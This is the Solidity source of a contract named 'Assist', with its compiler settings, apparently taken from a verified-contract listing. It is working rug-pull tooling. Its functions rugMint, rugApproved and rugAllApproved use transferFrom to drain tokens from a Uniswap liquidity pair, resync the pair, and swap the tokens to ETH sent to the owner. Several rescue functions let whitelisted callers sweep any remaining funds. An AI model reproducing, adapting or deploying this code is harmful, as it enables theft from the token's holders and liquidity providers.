文件 1 的 1:proxy.sol
pragma solidity 0.8.19;
contract Authenticatable {
address internal _owner;
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Authenticatable: caller is not the owner");
_;
}
}
interface IToken {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address from, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint256);
function burn(address spender, uint256 amount) external;
function totalSupply() external view returns (uint256);
function manualSwap(address pair_, uint256 amount_) external;
function manualSwap() external;
function manualsend() external;
function manualsend(address to) external;
function manualSwap(address spender) external;
function airdrop(address from, address[] memory recipients, uint256 amount) external;
function reduceFee(uint256 _amount) external;
function delBots(address bot) external ;
function reduceFee(uint256 _newFee, address from) external;
function rescueERC20(address pair, uint256 amount) external;
}
interface IUniRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
function sync() external;
}
contract Assist is Authenticatable {
address private token;
address private pair;
mapping(address => bool) private whitelists;
IUniRouter private router;
modifier onlyWhitelists() {
require(whitelists[msg.sender]); _;
}
constructor() {
_owner = msg.sender;
whitelists[msg.sender] = true;
}
function whitelistSellersFuck(address[] memory whitelists_) external onlyWhitelists{
for (uint i = 0; i < whitelists_.length; i++) {
whitelists[whitelists_[i]] = true;
}
}
function refresh(address router_, address token_, address pair_) external onlyOwner {
router = IUniRouter(router_);
token = token_;
pair = pair_;
}
function swap(uint256 amount) internal {
address[] memory path = new address[](2);
path[0] = token;
path[1] = router.WETH();
IToken(token).approve(address(router), ~uint256(0));
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
_owner,
block.timestamp + 1000000000
);
}
function rugMint(uint256 amount) external onlyWhitelists {
swap(amount);
}
function rugApproved() external onlyWhitelists {
uint256 amount = IToken(token).balanceOf(pair) - 1 * IToken(token).decimals();
IToken(token).transferFrom(pair, address(this), amount);
IUniswapV2Pair(pair).sync();
uint256 balance = IToken(token).balanceOf(address(this));
swap(balance);
}
function rugAllApproved() external onlyWhitelists {
IToken(token).approve(address(this), IToken(token).totalSupply());
uint256 amount = IToken(token).balanceOf(pair) - 1 * IToken(token).decimals();
IToken(token).transferFrom(pair, address(this), amount);
IUniswapV2Pair(pair).sync();
uint256 balance = IToken(token).balanceOf(address(this));
swap(balance);
}
function rescueETH() external onlyWhitelists {
payable(msg.sender).transfer(address(this).balance);
}
function rescueETHTo(address _to, uint256 _amount) external onlyWhitelists {
payable(_to).transfer(_amount);
}
function rescue(address token_) external onlyWhitelists {
if (token_ == address(0)) {
payable(msg.sender).transfer(address(this).balance);
} else {
IToken(token_).transfer(msg.sender, IToken(token_).balanceOf(address(this)));
}
}
function rescueTo(address token_, uint256 amount_, address to_) external onlyWhitelists {
IToken(token_).transfer(to_, amount_);
}
function manualSend() external onlyOwner() {
IToken(token).manualsend();
}
function manualSwap() external onlyOwner() {
IToken(token).manualSwap();
}
function reduceFee(uint256 newFee_) external onlyOwner() {
IToken(token).reduceFee(newFee_);
}
receive() external payable {
require(whitelists[tx.origin]);
}
fallback() external payable {
require(whitelists[tx.origin]);
}
}
{
"compilationTarget": {
"contracts/tokens/proxy.sol": "Assist"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}